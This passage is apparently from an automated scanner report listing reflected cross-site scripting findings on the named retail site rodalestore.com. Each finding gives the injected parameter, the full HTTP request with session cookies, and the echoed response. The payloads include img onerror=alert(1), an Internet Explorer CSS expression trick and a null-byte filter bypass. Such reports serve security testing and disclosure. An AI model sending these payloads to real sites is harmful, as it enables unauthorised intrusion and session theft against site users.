<a href="PrivacyView?langId=-1bca4c--><img src=a onerror=alert(1)>57184c91961&storeId=10051&catalogId=10002&nav_wt=footer">
...[SNIP]...

2.995. http://www.rodalestore.com/webapp/wcs/stores/servlet/ProductDisplay [langId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/ProductDisplay

Issue detail

The value of the langId request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1670e"style%3d"x%3aexpr/**/ession(alert(1))"67e1ce3e93c was submitted in the langId parameter. This input was echoed as 1670e"style="x:expr/**/ession(alert(1))"67e1ce3e93c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /webapp/wcs/stores/servlet/ProductDisplay?catalogId=10002&storeId=10051&productId=11737&langId=-11670e"style%3d"x%3aexpr/**/ession(alert(1))"67e1ce3e93c&mag=store&nav_wt=catbestsellers HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:27 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 20598

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="StoreCatalogDisplay?langId=-11670e"style="x:expr/**/ession(alert(1))"67e1ce3e93c&catalogId=10002&storeId=10051&nav_wt=header">
...[SNIP]...

2.996. http://www.rodalestore.com/webapp/wcs/stores/servlet/ProductDisplay [langId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/ProductDisplay

Issue detail

The value of the langId request parameter is copied into the HTML document as plain text between tags. The payload e4d82<img%20src%3da%20onerror%3dalert(1)>33634c04989 was submitted in the langId parameter. This input was echoed as e4d82<img src=a onerror=alert(1)>33634c04989 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/ProductDisplay?catalogId=10002&storeId=10051&productId=11737&langId=-1e4d82<img%20src%3da%20onerror%3dalert(1)>33634c04989&mag=store&nav_wt=catbestsellers HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:28 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 20985

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
   <title>Generic Error</title>
   <link rel=stylesheet href="/wc
...[SNIP]...
<select name="currency">
               Exception:java.lang.NumberFormatException: For input string: "-1e4d82<img src=a onerror=alert(1)>33634c04989"

   </td>
...[SNIP]...

2.997. http://www.rodalestore.com/webapp/wcs/stores/servlet/ProductDisplay [mag parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/ProductDisplay

Issue detail

The value of the mag request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a3c73"><img%20src%3da%20onerror%3dalert(1)>527c90f8d7e was submitted in the mag parameter. This input was echoed as a3c73"><img src=a onerror=alert(1)>527c90f8d7e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/ProductDisplay?catalogId=10002&storeId=10051&productId=11737&langId=-1&mag=storea3c73"><img%20src%3da%20onerror%3dalert(1)>527c90f8d7e&nav_wt=catbestsellers HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:48 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 28237

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">

...[SNIP]...
<img src="/wcsstore/USRodaleStore/en_US/images/storea3c73"><img src=a onerror=alert(1)>527c90f8d7e_logo.gif" alt="Rodalestore.com" align="center" border="0" vspace="4">
...[SNIP]...

2.998. http://www.rodalestore.com/webapp/wcs/stores/servlet/ProductDisplay [mag parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/ProductDisplay

Issue detail

The value of the mag request parameter is copied into an HTML comment. The payload a01d0--><img%20src%3da%20onerror%3dalert(1)>906eec5a7a6 was submitted in the mag parameter. This input was echoed as a01d0--><img src=a onerror=alert(1)>906eec5a7a6 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/ProductDisplay?catalogId=10002&storeId=10051&productId=11737&langId=-1&mag=storea01d0--><img%20src%3da%20onerror%3dalert(1)>906eec5a7a6&nav_wt=catbestsellers HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:50 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 28250

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">

...[SNIP]...
<img src=a onerror=alert(1)>906eec5a7a6_LeftNavigationDisplay_Top-->
...[SNIP]...

2.999. http://www.rodalestore.com/webapp/wcs/stores/servlet/ProductDisplay [storeId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/ProductDisplay

Issue detail

The value of the storeId request parameter is copied into an HTML comment. The payload %00c1a92--><img%20src%3da%20onerror%3dalert(1)>90b27b63397 was submitted in the storeId parameter. This input was echoed as c1a92--><img src=a onerror=alert(1)>90b27b63397 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Request

GET /webapp/wcs/stores/servlet/ProductDisplay?catalogId=10002&storeId=10051%00c1a92--><img%20src%3da%20onerror%3dalert(1)>90b27b63397&productId=120682&langId=-1&nav_wt=search HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:41 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 23489

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="PrivacyView?langId=-1&storeId=10051.c1a92--><img src=a onerror=alert(1)>90b27b63397&catalogId=10002&nav_wt=footer">
...[SNIP]...

2.1000. http://www.rodalestore.com/webapp/wcs/stores/servlet/ProductDisplay [storeId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/ProductDisplay

Issue detail

The value of the storeId request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c5f2d"><img%20src%3da%20onerror%3dalert(1)>478facacfef was submitted in the storeId parameter. This input was echoed as c5f2d"><img src=a onerror=alert(1)>478facacfef in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Request

GET /webapp/wcs/stores/servlet/ProductDisplay?catalogId=10002&storeId=10051c5f2d"><img%20src%3da%20onerror%3dalert(1)>478facacfef&productId=120682&langId=-1&nav_wt=search HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:23 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 23433

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="StoreCatalogDisplay?langId=-1&catalogId=10002&storeId=10051c5f2d"><img src=a onerror=alert(1)>478facacfef&nav_wt=header">
...[SNIP]...

2.1001. http://www.rodalestore.com/webapp/wcs/stores/servlet/ProductDisplay [storeId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/ProductDisplay

Issue detail

The value of the storeId request parameter is copied into an HTML comment. The payload 69333--><img%20src%3da%20onerror%3dalert(1)>2d70120cd37 was submitted in the storeId parameter. This input was echoed as 69333--><img src=a onerror=alert(1)>2d70120cd37 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/ProductDisplay?catalogId=10002&storeId=1005169333--><img%20src%3da%20onerror%3dalert(1)>2d70120cd37&productId=11737&langId=-1&mag=store&nav_wt=catbestsellers HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:25 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 23461

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="PrivacyView?langId=-1&storeId=1005169333--><img src=a onerror=alert(1)>2d70120cd37&catalogId=10002&nav_wt=footer">
...[SNIP]...

2.1002. http://www.rodalestore.com/webapp/wcs/stores/servlet/ProductDisplay [storeId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/ProductDisplay

Issue detail

The value of the storeId request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9e4e3"><img%20src%3da%20onerror%3dalert(1)>18daf0d617b was submitted in the storeId parameter. This input was echoed as 9e4e3"><img src=a onerror=alert(1)>18daf0d617b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/ProductDisplay?catalogId=10002&storeId=100519e4e3"><img%20src%3da%20onerror%3dalert(1)>18daf0d617b&productId=11737&langId=-1&mag=store&nav_wt=catbestsellers HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:40 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 23433

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="StoreCatalogDisplay?langId=-1&catalogId=10002&storeId=100519e4e3"><img src=a onerror=alert(1)>18daf0d617b&nav_wt=header">
...[SNIP]...

2.1003. http://www.rodalestore.com/webapp/wcs/stores/servlet/StoreCatalogDisplay [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/StoreCatalogDisplay

Issue detail

The value of REST URL parameter 5 is copied into an HTML comment. The payload 27aec--><img%20src%3da%20onerror%3dalert(1)>a98bbac1ab0 was submitted in the REST URL parameter 5. This input was echoed as 27aec--><img src=a onerror=alert(1)>a98bbac1ab0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/StoreCatalogDisplay27aec--><img%20src%3da%20onerror%3dalert(1)>a98bbac1ab0?langId=-1&catalogId=10002&storeId=10051&cm_sp=Network%20Banner-_-Store-_-Rodale.com HTTP/1.1
Host: www.rodalestore.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 16:44:45 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: JSESSIONID=0000bEg_vU5EoC7ItdmVTTuC71L:145kqmq3s; Path=/
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 22211

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
nd check the log file.

Exception Type: 0
Message Key: _ERR_CMD_CMD_NOT_FOUND
Message: CMN3101E The system is unavailable due to "CMN0203E".
System Message: Command not found: "StoreCatalogDisplay27aec--><img src=a onerror=alert(1)>a98bbac1ab0".
Originating Command:
Corrective Action:

//*-------------------------------------------------------------------
//*
-->
...[SNIP]...

2.1004. http://www.rodalestore.com/webapp/wcs/stores/servlet/StoreCatalogDisplay [catalogId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/StoreCatalogDisplay

Issue detail

The value of the catalogId request parameter is copied into the HTML document as plain text between tags. The payload e0242<img%20src%3da%20onerror%3dalert(1)>c2e386a0f39 was submitted in the catalogId parameter. This input was echoed as e0242<img src=a onerror=alert(1)>c2e386a0f39 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/StoreCatalogDisplay?langId=-1&catalogId=10002e0242<img%20src%3da%20onerror%3dalert(1)>c2e386a0f39&storeId=10051&cm_sp=Network%20Banner-_-Store-_-Rodale.com HTTP/1.1
Host: www.rodalestore.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 16:44:57 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: JSESSIONID=0000YsdNzvVQFxSGoZctyD0Coa5:145kqmq0v; Path=/
Set-Cookie: WC_SESSION_ESTABLISHED=true; Path=/
Set-Cookie: WC_ACTIVEPOINTER=%2d1%2c10051; Path=/
Set-Cookie: WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L25E%0asKPCX%2fPnBccfiYsyac1NGfN5lYC4zFUsogHY9Gu1ivGtKTi3LsOjVZGQ5S%2fF6GA%3d; Path=/
